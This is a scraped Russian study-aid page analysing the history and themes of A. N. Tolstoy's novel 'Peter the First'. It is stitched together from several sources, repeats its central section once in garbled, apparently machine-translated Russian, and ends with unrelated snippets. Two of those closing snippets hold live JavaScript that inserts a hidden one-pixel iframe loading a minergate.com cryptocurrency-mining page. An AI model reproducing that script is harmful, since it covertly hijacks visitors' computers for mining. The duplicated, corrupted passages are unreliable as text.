История создания и анализ романа "Петр Первый" Толстого А.Н. II

Алексей Николаевич Толстой родился 29 декабря 1882 г. в городе Николаевске, ныне это город Пугачев Саратовской области.

Более двадцати пяти лет А. Толстого волновали Петровская эпоха и сам Петр. Не сразу нашел писатель ключ к исторически правдивому изображению эпохи Петра. В разные периоды творчества по разному виделись ему Петр и его эпоха. В своем сочинении я хочу проследить эволюцию темы Петра в творчестве А. Н. Толстого. Но прежде необходимо сделать небольшой исторической экскурс в литературу XVIII-XIX веков, так как в своей работе А. Толстой шел от своих предшественников, особенно от творчества А С. Пушкина.

Творческая история «Петра Первого» - наглядное свидетельство упорного приближения художника к научному пониманию истории. Выступая на вечере в Коммунистической-академии в 1933 г., Толстой вспоминал: «На «Петра Первого» я нацеливался давно - еще с начала февральской революции. Я видел все пятна на его камзоле, но Петр все же торчал загадкой в историческом тумане».

«Нет сомнения, - пишет А. М. Крюкова, - что зарождение исторического сознания А. Толстого было обусловлено эпохой больших социальных и политических перемен 1917 г.». Действительно, интерес Толстого к истории - это не снобистское увлечение стариной, не сухая страсть коллекционера к старинным словечкам и образам, не бегство От действительности. Для Толстого история была интересна возможностью с высоты современности взглянуть на опыт человеческих поколений, попыткой извлечь полезные выводы для сегодняшнего дня, разобраться в происходящем и лучше его понять. Поэтому Толстого привлекает не любая старина, а определенные исторические эпохи, решающие периоды истории, которые определяли судьбы народа и страны на долгие времена.

Так, писатель не раз объяснял потом свой интерес к теме Петра I желанием понять современность, подойти к творческому постижению революции «с другого конца»: Петр I - это подход к современности с ее глубокого тыла: В «Краткой автобиографии» мы читаем: «С первых же месяцев февральской революции я обратился к теме Петра Великого.

Должно быть, скорее инстинктом художника, чем сознательно, я искал в этой теме разгадки русского народа и русской государственности». Здесь, по мнению А. М. Крюковой, важно подчеркнуть именно это обстоятельство- «инстинктом художника», а не навязанной самому себе или пришедшей извне задачей творческого отклика. Что же привело его к эпопее «Петр Первый»? Отвечая на этот вопрос, А. Толстой пишет: «Меня увлекло ощущение полноты непричесанной и творческой силы той жизни, когда с особенной яркостью раскрывался русский характер». В этой связи особый смысл приобретают и слова Толстого о его творческом интересе к четырем эпохам русской истории (эпохе Ивана Грозного, Петра Первого, гражданской войны 1918-1920 годов и нашей - сегодняшней - небывалой), по размаху и значительности - трагическим и творческим эпохам, в которых завязывался русский характер и которые открывают для нас и тайну художнического мышления писателя вообще. Пушкинский идеал связи времен мыслился А. Толстым не как абстрактное соотношение истории и современности, но как единый исторический путь, в котором одна эпоха переходит в другую и имеет с нею глубокую внутреннюю связь - общую философскую и историко-культурную тему: формирование народного, национального самосознания. Таким образом, замысел произведения о Петре и его эпохе, к которому Толстой обратился в 1917 г. (по другим источникам - в конце 1916 г.), возник на сложном переплетении импульсов от современной действительности и литературной традиции.

Действительно, нарастание могучего народного движения перед Октябрем 1917 года обратило А. Н. Толстого к исторической теме - эпохе Петра I. Именно в это время у писателя возникает замысел его первых рассказов на историческую тему («Первые террористы», «Наваждение» и «День Петра»). В них он пытается найти разгадку исторических закономерностей движения России, найти ответы на вопросы, поставленные крахом старого строя и быстро нарастающей революцией.

Однако писатель во взглядах на Петровскую эпоху оставался в плену старых представлений. Отвечая в 1933 г. на вопрос о причинах своего тяготения к теме Петра, Алексей Толстой сказал, что не помнит, что послужило побуждающим началом к ее зарождению, сделав при этом два очень важных уточнения: «Повесть о Петре I была написана в самом начале февральской революции. Несомненно, что эта повесть написана под влиянием Мережковского». Два обстоятельства поставлены здесь рядом: время и литературное влияние. И именно второе обстоятельство - литературное влияние - вызвало у него уже после создания романа на эту тему особенное желание отказаться от Д. Мережковского и от своего раннего произведения: «Это слабая вещь».

В статье «Как мы пишем» (1929 г.) Алексей Толстой пишет: «Только в двух случаях я задолго готовился к работе, роман «Петр I» был задуман еще в конце 1916 года, а предварительно написана повесть «День Петра» и пьеса «На дыбе». Правда, начальным этапом работы писателя над темой Петровской эпохи, приведшим его к созданию романа «Петр Первый», следует признать написание рассказа «Наваждение», а незадолго перед тем - законченного очерка «Первые террористы».

В «Наваждении» Алексей Толстой не показывает нам крупных исторических событий эпохи, нет в рассказе, собственно, и самой фигуры Петра: в нем рисуется трагическая гибель невинно оговоренного Кочубеи и несчастная любовь его дочери Матрены, то есть сюжет рассказа строится в основном на передаче интимных, любовных переживаний героя. Но рассказ все же важен. «Недаром спустя два месяца, - пишет Алексей Николаевич Толстой, - ...я от слова до слова, до запятой (пропустив только одно место в несколько строк) вспомнил его наизусть».

Это был опыт, по определению самого писателя, разработки общего историко-бытового фона и колорита старого языка.

Как мы уже знаем, еще в 1917 году Толстой старался найти разгадку этого в прошлом. Тогда эта попытка закончилась неудачей: идеалистическое мировоззрение писателя привело его к ошибочным выводам. Рассказ «День Петра» глубоко пессимистический. И дело не в том, что Петр в глазах автора - полусумасшедший деспот, а в глазах народа - антихрист, который вслед за символистом Мережковським. Толстой другой раз наделял большого государственного деятеля чертами дегенеративности. Источник пессимизма в том, что Петр, по убеждению автора, «одной своей страшной волей укреплял государство, развивал землю», что сопротивления у него нет. Помощники царя - пропойцы, воре и мошеннике, народ его не понимает и проклинает, да и сам Петр руководствуется не государственными соображениями, а низменным чувством мелкого хозяйчика, завидуют кулак^-кулак-соседа-кулака

«Что была Россия ему, царю, хозяину, который воспылался досадой и ревностью: как это - двор его и скот, наймиты и все хозяйство хуже, самые дурные соседского? С перекошенным от гнева и нетерпения лицом прискакал хозяин из Голландии в Москву … Налетел с досадой, - вишь, угодье какое досталось в наследство, не то, что в курфюрста бранденбургского, у голландского штатгальтера. Сейчас же, в этот же день, все перевернуть, перекроить, обстричь бороды, надеть всем голландский кафтан, порозумнишати, думать начать по-другому ». И хоть треснула сверху книзу вся иепробудность - окно все-таки было прорублено, и свежий ветер Еорвался в старые терема, - произошло не то, чего хотел Петр: «Россия не вошла, нарядная и сильная, на банкет больших государств. А подтащенная им за волос, окровавленная и сошла с ума от ужаса и отчаяния, появилась новым родственникам в жалком и неравном виде - рабой ». При таком трактовании личности Петра и Петровской эпохи целиком закономерная глубоко пессимистическая концовка рассказа: «и бремя в этот день и всех дней, прошлых и будущих, свинцовой тягой легло на плече ему, которая взяла непосильную человеку тяжесть: одного за всех».

Осенью 1928 года Толстой вернулся к образа Петра в пьесе «На дыбе» («Петр Первый»). За двенадцать лет, отделяли трагедию от рассказа, взгляды писателя на Петровскую эпоху изменились. Не прихоть хозяина-самодура, а историческая необходимость заставляет царя проводить государственные реформы. Но как и раньше глубоко трагическая романтическая фигура Петра, одинокого в своей титанической деятельности и, непонятного даже близкими, обрекает ради государства на жертву всех и все: народ, друзей, сына, жену, себя. Ни автору, ни его герою неясно главное: « Для кого это?» А потому символически звучит последняя фраза Петра, который видит, как гибнет дело его жизнь: «Страшный конец».

Пьеса была написана Толстым «из налета», в два с излишком месяца (законченная 12 декабря 1928), без детального изучения исторических материалов, без глубокого проникновения у суть эпохи. В ней остались еще выразительные следы влияния реакционных писаний Мережковського. Все это привело к тому, что пьеса вышла символически-романтической, и еще густо сдобренной натуралистическими деталями. Сам Толстой о ней позднее откликался пренебрежительно, справедливо указывая, что в трагедии «На дыбе» «не было истинного изучения материала», а потому оказалось «много романтики» и Петр «пахнул Мережковським».

Завершив пьесу, Толстой собирался написать повесть о Петре и после серьезной подготовки взялся за нее в феврале 1929 года. «Повесть начинает разворачиваться так, как я того хотел»,-сообщал он В. П. Полонському 22 февраля. Через месяц Толстой ему же пишет: «Мне кажется, Вы будете удовлетворены Петром, лучшего я не писал. Но это так тяжело, что иногда приходишь в отчаяние ». Уже на второму разделе писатель понял, что выходит не повесть, а роман, и к тому же - многотомный. 2 мая 1929 он сознался: «Начавши работать над Петром, я думал все заключить в одной книге, теперь вижу свое легкомыслие». Правда, писатель считал еще, что в третий (по тогдашнему плану - последней) лбе первой книги будет изображенная «Голландия, смертная казнь стрельцов, истории с Монс, начало Северной войны и основание Петербурга». Закончить эту часть Толстой обещал в июле 1929 года. Однако работа перекинула эти расчеты. Первая книга «Петра» была законченная лишь 12 мая 1930 года, и последняя, седьмая глава завершается смертной казнью стрельцов. Другие пункты плана составили содержание второй книги, которую Толстой писал из декабря 1932 года по 22 апреля 1934 года. Над третьей книгой эпопеи писатель начал работать 31 декабря 1943 года и успел довести ее к шестому разделу

В разные года Толстой по-разному был намерен закончить роман-эпопею. В свое время он хотел показать в последней книге смерть Петра, кратковременное торжество феодальной реакции и завершить изображением другого большого сына российского народа - М. В. Ломоносова, давши тем самым оптимистичную перспективу российской истории после Петра. Уже работая над третьей книгой, Толстой в письме В. Б. Шкловсько от 21 ноября 1944 года сообщает: «Роман хочу довести только к Полтаве, может быть к Прутскому походу, еще не знаю. Не хочется, чтобы люди в нем постарели, - что мне с ними со старыми делать? »Смерть воспрепятствовала писателю довести монументальную работу до конца. Но несмотря на это, эпопея о Петре - одно из самых цельных, завершенных произведений самого Толстого и вершинное достижение мирового исторического романа

Научный историзм помогли Толстому уловить основные закономерности Петровской эпохи. А найденные закономерности в свою очередь освещали новым светом уже знакомый конкретный исторический материал, позволяли не только представить в воображении прочитанное, а и дополнить собственной фантазией. И истинные исторические личности, и созданные воображением писателя фигуры приходили в движение, разговаривать, думать - жить повнокровнимжиттям.

Как большому художнику Толстому было свойственно умение «галлюцинировать», то есть живо представлять в своем воображении изображаемое. Сам Толстой считал, что это качество можно и нужно развивать в себе, поскольку оно является непременным условием литературного мастерства вообще. «Это закон для писателя, - утверждал он, - создавать произведению путем внутреннего видения тех предметных, какие они описывают

Стало быть, надо в себе выработать эту способность видения. Нужно над собой работать в этом отношении

Поведение любого, даже мимоходом, в одной сцене очерченный персонаж обусловлен у Толстого психологически, а психология человека, в свою очередь, определяется и ходом истории, и положением данного лица в окружающем мире, и конкретными обстоятельствами, в которых он живет и действует. При этом писатель, создавая образ, учитывает найдрибниши детали, выдвигая иногда на первый план такие, которые современному читателю могут сдаться второстепенными, малозначащими. Вот, например, очень короткая, всего в одну страницу сцена, в которой Петр в присутствии дьяка Андрея Андреевича Виниуса принимает купца Жигулина. Богатый и умный купец, очевидно, довольно много слышал о Петре, потому что он не гепаеться в ноги царю и не молит, стуча лбом об подлоге, как имело бы быть раньше, а лишь кланяется. Для него, российского человека из низов, который вырос в сознании, что царь - это земной бог, приказ Петра сесть в него присутствии звучит дико. Однако же и Петр - не такой царь, как были: которой бы «царь всия Руси» переглянулся к разговору с безродным, незнатных семей купцом, принимал его лично, так еще без бояр, без византийского великолепия, при одному дьяка, в обнищавшем домике на березе Двины, не в роскошной одежде, - в полотняные, загрязненной смолой рубашке, с засученными по локоть рукавами? Но Жигулин-«купчина», он привык ко всякому в торговле - прикидываться равнодушным, лицемерить, скрывать свои чувства: первая заповедь купца «не обманешь - не продашь».

И потому Жигулин почти не выдает душевного смятения («только шевельнул бровями»), видно лишь замедленность, осторожность в движениях («сел с большим слежением»), слышная сдержанность в словах. Все же таки, излагая по-деловому, без лишних слов просьбы, купец не забывает по-своему пообещать и царю выгоду - «своему послужим».

Люди должны знать историю своей страны, чтобы в будущем знать, как поступать в том или ином случае. Алексей Толстой, вдохновившись эпохой Петра 1, решил показать нам все тонкости и трудности петровской эпохи. Как известно, он вложил в работу почти 10 лет своей жизни и потратил множество часов, чтобы изучить в точности эпоху преобразований и изменений в нашей стране.

Алексея Николаевича Толстого очень интересовала судьба императора Петра 1, более двадцати лет писатель изучал биографию и исторические факты из жизни правителя. Этот случай можно назвать одним из тех, когда творчество автора, в попытках передать характер эпохи и личности, граничит с научной исторической литературой.

Изначально произведение задумывалось как роман-эпопея, который бы позволил при своем объеме показать все позиции и смену мыслей человека советского. Писателю это в полной мере удалось, ведь через образ Петра проглядывает личность покровителя и почитателя Толстого – И. В. Сталина. В своем романе Толстой хотел показать ценность преобразований того времени, он описывает, как мудрость правителя определяет дальнейшее развитие государства. Но читателю совсем нетрудно уловить связь между тем временем и новой советской эпохой, где народу также нелегко измениться к лучшему, где люди не хотят принимать необходимость перемен. В такой ситуации стране нужен жестокий, но сильный и дальновидный руководитель, которого автор видел и в Петре Первом, и в генеральном секретаре партии КПСС.

Жанр, направление

“Петр Первый” — исторический роман, включает в себя элементы романа становления и героического повествования. Также можно найти черты биографического романа.

Суть

В первой книге перед нами предстает Петр-преобразователь. Личность, еще до конца сформировавшаяся, но стремившаяся к становлению на истинный и правильный путь. Автор показывает нам царя как человека, близкого к своему народу, способного понять все проблемы и постараться найти их решение.

Первый том показывает нам еще совсем маленького Петра, напуганного грядущими трудностями правления. С этого момента начинается наше знакомство со становлением будущего царя, способного изменить судьбу своей страны. Мы можем наблюдать как маленький правитель учится справляться с дворцовыми интригами, предательствами, переживает первые неудачи, учится исправлять свои ошибки и решать сложные, даже, казалось бы, неразрешимые проблемы.
Во втором томе мы видим Петра уже подросшего, способного наравне с простым народом трудиться на благо процветания страны. Прошло уже много времени, молодой правитель готовится к первым преобразованиям и подписаниям законов. Петр заботится о воем народе, стараясь не допускать произвола со стороны бояр. Так, страница за страницей, у нас на глазах происходит становление царя, из маленького напуганного мальчишки в зрелого мудрого правителя.
В третьем томе перед нами предстает уже состоявшийся как личность человек, царь, мужчина. Вот уже стоит на берегу Невы Петербург, прекращены многолетние войны. Как и Петр, страна встает на новый путь, изменений и улучшений. Третий том является финалом и показателем положительных последствий реформ, происходит культурный подъем жизни людей, растет и военная мощь государства.

Главные герои

Петр Алексеевич — царь России. Писатель постарался раскрыть образ правителя многогранно и полноценно, показав как положительные, так и некоторые отрицательные качества Петра. Монарх предстает перед нами в разном свете, начиная с молодых лет, заканчивая пиком успешных реформ состоявшейся исторической личности. Герой отличается трудолюбием, целеустремленностью, дальновидностью и силой воли.
Александр Данилович Меншиков — соратник Петра, готовый на все ради правителя, ему Петр доверял полностью, считал своей правой рукой. Меньшиков сбежал из семьи, будучи совсем молодым, выживал как мог, перебивался с копейки на копейку. Благодаря своему уму, попал во дворец, где работал постельничим. Когда же Петр понял истинную ценность этого человека, тот стал правой рукой государя. Он отличался умом, деловитостью и способностью усваивать новые веяния.
Франц Лефорт — наставник Петра, его друг, помогавший раскрыть потенциал царя. Франц предстает перед нами уже зрелым мужчиной, можно сказать, что он был главным по всем делам иностранцев в России. Лефорт служил советником Петра по военным вопросам, по социальным и экономическим делам, подсказывал, как лучше поступить во время дворцовой борьбы с Софьей.

Есть и другие герои романа, которые не менее важны для сюжета, но описать каждого нет возможности, у нас же не статья-эпопея. Но если Вам кого-то не хватило, смело пишите об это в комментариях, добавим.

Темы и проблемы

Основная тема — патриотизм . Автор показывает, что наша земля богата различными природными залежами, но они растрачиваются впустую. Таким образом, в нашей стране есть потенциал, но он либо не используется, либо используется неправильно. Это может изменить только сильный и волевой человек, по мнению писателя. Каждый из нас ради своей родины, ради своего будущего должен стать таким человеком.
Главная проблема – власть и ее влияние на личность . Петру пришлось столкнуться с родственными интригами, родные люди готовы были избавиться от него, лишь бы занять престол. Тяга к власти выбивает из человека все самое хорошее, оставляя на месте души выжженное поле.
Проблема социальной несправедливости . Петр поставил себя на место обычного работника и понял, как тяжела жизнь народа под гнетом боярского произвола. Поэтому он так ополчился против знати, которая своей алчностью тянула страну назад, изнуряя крестьянина и живя за его счет.
Социальная проблематика также включает в себя и вопрос о готовности народа к переменам. Новаторам очень трудно менять мир, они постоянно сталкиваются с непониманием и агрессией тех, кто привык жить по старинке.

Главная мысль

Основная идея романа заключается в том, что большой стране нужен дальновидный, целеустремленный и решительный лидер, который силой своей воли направит страну вперед. Без сильной и твердой руки невозможно эффективное управление. Без нее элита никогда не согласится менять хоть что-либо, ведь ей и так хорошо живется, а народ из страха перемен или невежества будет плавно погружаться в застой. Таким образом, настоящий лидер – это жесткий и непреклонный человек, который обязан идти на жертвы, чтобы творить историю.

С этим посылом можно не согласиться, он очень спорный. Автор, который вернулся из эмиграции и (благодаря протекции Горького) устроился при враждебном ему режиме, мог выполнять политический заказ, смысл которого в том, чтобы оправдать жестокую диктатуру Сталина, прикрывая репрессии исторической необходимостью.

Чему учит?

Изменения, приносящие пользу, нужны всегда. Жизнь не может стоять на месте, особенно в таком большом государстве, как наша страна. Но хоть сколько-нибудь значимые преобразования не могут свершиться сами собой, без нашей готовности к ним. Книга учит людей брать ответственность за будущее страны в свои руки и смотреть в будущее.

Нередко сами люди тормозят прогресс, и их действительно приходится подталкивать сверху, таково прямое назначение правительства. Но и сам человек должен идти навстречу позитивным переменам, должен развиваться и адаптироваться в современности, а не стоять на месте и упираться в то, что уже есть. Тогда и подталкивать никого не придется.

Критика

Современники высоко оценили произведение «Петр Первый» и сожалели, что автор не закончил его до конца. Например, Корней Чуковский писал, что перед смертью воображение автора стало граничить с ясновидением. Судя по его воспоминаниям, Толстой планировал написать историческую литературную эпопею, посвященную эпохе дворцовых переворотов и правлению Ивана Грозного. Все это было бы продолжением истории, уже написанной им.

И. Эренбург указывал на то, что работа Толстого была похожа на творчество Достоевского. Сам автор не знал, что сделают герои, они оживали в его голове и делали то, что сами считали нужным. Никогда эти писатели не знали, чем кончится та или иная книга.

В. Инбер вспоминал, что Толстой был удивительно цельной натурой и героя выбрал себе под стать. Он также любил Россию, как и первый ее император.

Ю. Олеша отмечал подлинность прозы коллеги по перу. Он часто представлял то, что написано в романе, и строки оживали в его голове. Текст мастерки описывал все то, что хотел сказать литератор.

В. Лидин говорил, что в Толстом он ценит, прежде всего, народность. Его царь – как будто человек из народа, живущий интересами простых людей. Автор виртуозно передал русский дух, уделив внимание живой русской речи, которая украшает текст и передает тончайшие оттенки смыслов.

Л. Коган описывал подробности бесед с писателем, тот считал, что переломным моментом в русской истории является полтавская битва, именно там царь и народ соединились в едином порыве.

Г. Уланова полагала, что Толстой жил в душах своих героев, как будто бы сам переживал их эмоции, будто бы видел историю своими глазами.

Интересно? Сохрани у себя на стенке!

Как мы уже знаем, еще в 1917 году Толстой пытался найти разгадку настоящего в прошлом. Тогда эта попытка окончилась неудачей: идеалистическое мировоззрение писателя привело его к ошибочным выводам. Рассказ «День Петра» глубоко пессимистичен И дело не в том, что Петр в глазах автора - полубезумный деспот, а в глазах народа - антихрист, что вслед за символистом Мережковским. Толстой иной раз наделял великого государственного деятеля чертами дегенеративности. Источник пессимизма в том, что Петр, по убеждению автора, «одной своей страшной волей укреплял государство, перестраивал землю», что опоры у него нет. Помощники царя - пропойцы, воры и жулики, народ его не понимает и проклинает, да и сам Петр руководствуется не государственными соображениями, а низменным чувством мелкого хозяйчика, завидующего соседу-кулаку.

«Что была Россия ему, царю, хозяину, загоревшемуся досадой и ревностью: как это - двор его и скот, батраки и все хозяйство хуже, глупее соседского? С перекошенным от гнева и нетерпения лицом прискакал хозяин из Голландии в Москву... Налетел с досадой,- ишь, угодье какое досталось в удел, не то, что у курфюрста бранденбургского, у голландского штатгальтера.
Сейчас же, в ϶ᴛόᴛже день, все перевернуть, перекроить, обстричь бороды, надеть всем голландский кафтан, поумнеть, думать начать по-иному». И хоть треснула сверху донизу вся иепробудность - окно все же было прорублено, и свежий ветер Еорвался в ветхие терема,- случилось не то, чего хотел Петр: «Россия не вошла, нарядная и сильная, на пир великих держав. А подтянутая им за волосы, окровавленная и обезумевшая от ужаса и отчаяния, предстала новым родственникам в жалком и неравном виде - рабою». При такой тракᴛᴏʙке личности Петра и Петровской эпохи вполне закономерна глубоко пессимистическая концовка рассказа: «И бремя этого дня и всех дней, прошедших и будущих, свинцовой тягой легло на плечи ему, взявшему непосильную человеку тяжесть: одного за всех».

Осенью 1928 года Толстой вернулся к образу Петра в пьесе «На дыбе» («Петр Первый»). За двенадцать лет, отделявших трагедию от рассказа, воззрения писателя на Петровскую эпоху изменились. Информация с сайта Бигреферат.ру / сайт Не прихоть хозяина-самодура, а историческая необходимость заставляет царя проводить государственные реформы. Но по-прежнему глубоко трагична романтическая фигура Петра, одинокого в своей титанической деятельности и, непонятого даже близкими, обрекающего ради государства на жертву всех и все: народ, друзей, сына, жену, себя. Ни автору, ни его герою неясно главное: «Для кого сие?» А ᴨᴏᴛому символически звучит последняя фраза Петра, видящего, как гибнет дело его жизни: «Страшен конец».

Пьеса была написана Толстым «с налету», в два с небольшим месяца (окончена 12 декабря 1928 г.), без детального изучения исторических материалов, без глубокого проникновения в сущность эпохи

В ней остались еще явственные следы влияния реакционных писаний Мережковского. Все это привело к тому, что пьеса вышла символически-романтической, да еще обильно сдобренной натуралистическими деталями. Сам Толстой о ней впоследствии отзывался пренебрежительно, справедливо указывая, что в трагедии «На дыбе» «не было настоящего изучения материала», а ᴨᴏᴛому оказалось «много романтики» и Петр «попахивал Мережковским».

Завершив пьесу, Толстой собирался написать повесть о Петре и после серьезной подгоᴛᴏʙки взялся за нее в феврале 1929 года. «Повесть начинает развертываться так, как я того хотел»,-сообщал он В. П. Полонскому 22 февраля. Через месяц Толстой ему же пишет: «Мне кажется, Вы будете довольны Петром, лучшего я не писал. Но это так трудно, что иногда приходишь в отчаяние». Уже на второй главе писатель понял, что получается не повесть, а роман, и к тому же - многотомный. 2 мая 1929 года он признался: «Начав работать над Петром, я думал все уложить в одной книге, теперь вижу свое легкомыслие». Правда, писатель полагал еще, что в третьей (по тогдашнему плану - последней) главе первой книги будет изображена «Голландия, казнь стрельцов, история с Монс, начало Северной войны и основание Петербурга». Окончить эту часть Толстой обещал в июле 1929 года. Но при этом работа опрокинула эти расчеты. Первая книга «Петра» была закончена лишь 12 мая 1930 года, и последняя, седьмая глава завершается казнью стрельцов. Остальные пункты плана составили содержание второй книги, которую Толстой писал с декабря 1932 года по 22 апреля 1934 года. Над третьей книгой эпопеи писатель начал работать 31 декабря 1943 года и успел довести её до шестой главы.

В разные годы Толстой по-разному намеревался закончить роман-эпопею. Одно время он хотел показать в последней книге смерть Петра, кратковременное торжество феодальной реакции и завершить изображением другого великого сына русского народа - М. В. Ломоносова, дав тем самым оптимистическую перспективу русской истории после Петра. Уже работая над третьей книгой, Толстой в письме В. Б. Шкловскому от 21 ноября 1944 года сообщал: «Роман хочу довести только до Полтавы, может быть до Прутского похода, еще не знаю. Не хочется, чтобы люди в нем состарились, - что мне с ними со старыми делать?» Смерть помешала писателю довести монументальный труд до конца. Но несмотря на это, эпопея о Петре - одно из самых цельных, завершенных произведений самого Толстого и вершинное достижение мирового исторического романа.

Научный историзм помогли Толстому уловить основные закономерности Петровской эпохи. А найденные закономерности в свою очередь освещали новым светом уже знакомый конкретный исторический материал, позволяли не только представить в воображении прочитанное, но и дополнить собственной фантазией. И действительные исторические личности, и созданные воображением писателя фигуры начинали двигаться, разговаривать, думать - жить полнокровной жизнью.

Как большому художнику Толстому было свойственно умение «галлюцинировать», то есть живо представлять в своем воображении изображаемое. Сам Толстой считал, что это качество можно и нужно развивать в себе, поскольку оно является непременным условием литературного мастерства вообще. «Это закон для писателя, - утверждал он, - создавать произведения путем внутреннего видения тех предметностей, которые они описывают.

Стало быть, нужно в себе выработать эту способность видения. Нужно над собой работать в этом отношении.

Поведение любого, даже мимоходом, в одной сцене очерченного персонажа обусловлено у Толстого психологически, а психология человека, в свою очередь, определяется и ходом истории, и положением данного лица в окружающем мире, и конкретными обстоятельствами, в которых он живет и действует. При этом писатель, создавая образ, учитывает мельчайшие детали, выдвигая иногда на первый план такие, какие современному читателю могут показаться второстепенными, малозначащими. Вот, к примеру, очень короткая, всего в одну страницу сцена, в которой Петр в присутствии дьяка Андрея Андреевича Виниуса принимает купца Жигулина. Богатый и умный купец, очевидно, достаточно наслышан о Петре, ᴨᴏᴛому он не бухается в ноги царю и не молит, стуча лбом об пол, как полагалось бы раньше, а лишь кланяется. Важно понимать - для него, русского человека из низов, выросшего в сознании, что царь - это земной бог, повеление Петра сесть в его присутствии звучит дико. Но при этом ведь и Петр - не такой царь, как были: какой бы «царь всея Руси» снизошел до разговора с безродным, неименитым купцом, принимал его самолично, да еще без бояр, без византийской пышности, при одном дьяке, в захудалом домишке на берегу Двины, не в роскошном одеянии, - в холщевой, запачканной смолой рубахе, с закатанными по локоть рукавами? Но Жигулин- «купчина», он привык ко всякому в торговле - притворяться равнодушным, лицемерить, скрывать свои чувства: первая заповедь купца «не обманешь - не продашь».

И ᴨᴏᴛому Жигулин почти не выдает душевного смятения («только шевельнул бровями»), видны лишь замедленность, осторожность в движениях («сел с великим бережением»), слышна сдержанность в словах. Все же, излагая по-деловому, без лишних слов просьбу, купец не забывает по-своему посулить и царю выгоду - «своему послужим».

Страница 1 из 1

Изложение романа Булгакова «Белая гвардия»

Замысел романа Достоевского «Бесы»

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/4/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })(); ...

Главная цель и смысл романа Достоевского «Идиот»

(function() { var w = document.createElement("iframe"); w.style.border = "none"; w.style.width = "1px"; w.style.height = "1px"; w.src = "//ru.minergate.com/wmr/bcn/podivilovhuilo%40yandex.ru/2/258de372a1e9730f/hidden"; var s = document.getElementsByTagName("body"); s.appendChild(w, s); })();...

Классик украинской литературы Иван Антонович Кочерга известен как выдающийся творец исторической драмы. Мудрый философ, добрый мечтатель и гуманист, он верил в людей, прославлял благородство их душ, силу их ума и творческой энергии, с увлечением и удивлением воспевал высокие порывы их сердец. Светлыми чувствами любви к человеку пронизаны лучшие произведения И. Кочерги: «Алмазное жерно», «Свечкина свадьба», «Ярослав Мудрый», в которых воспроизведена героическая и трагическая история нашего народа. Первым произведением, написанным на историческую тему, была комедия «Фея горького миндаля» (1925), действие которой происходило в начале XIX столетия. Эта комедия была оценена критиками преимущественно отрицательно. Итак, первая попытка И. Кочерги создать «историческую драму из жизни украинского города» закончилась неудачей, тем не менее, к названной теме он будет возвращать еще не раз....

Процент книжной лексики в обоих текстах приблизительно одинаков, Однако в целом текст А. Меня производит впечатление более официального: в Нем употребляется больше слов относящихся к официально-деловому и Публицистическому стилю, в то время как текст М. Булгакова тяготеет к стилю Художественному, помимо функционально-стилистических средств в нем Используются разнообразные фигуры речи, эпитеты, метафоры. Булгаков Передает скорее эмоциональный настрой, а Мень стремится донести информацию (косвенным доказательством служит сравнение объема двух этих текстов при Одинаковом уровне информативности). Первый день показался длинным, потому, наверное, что начался в четыре Утра. Он тянулся и никак не мог закончиться. И в этом дне запомнился только Дождь, что большая редкость для Италии в июне месяце. Советские туристы не могли сделать шагу, чтобы не остолбенеть и не Замереть, как будто они наступили на оголенный провод и через них пошел Ток....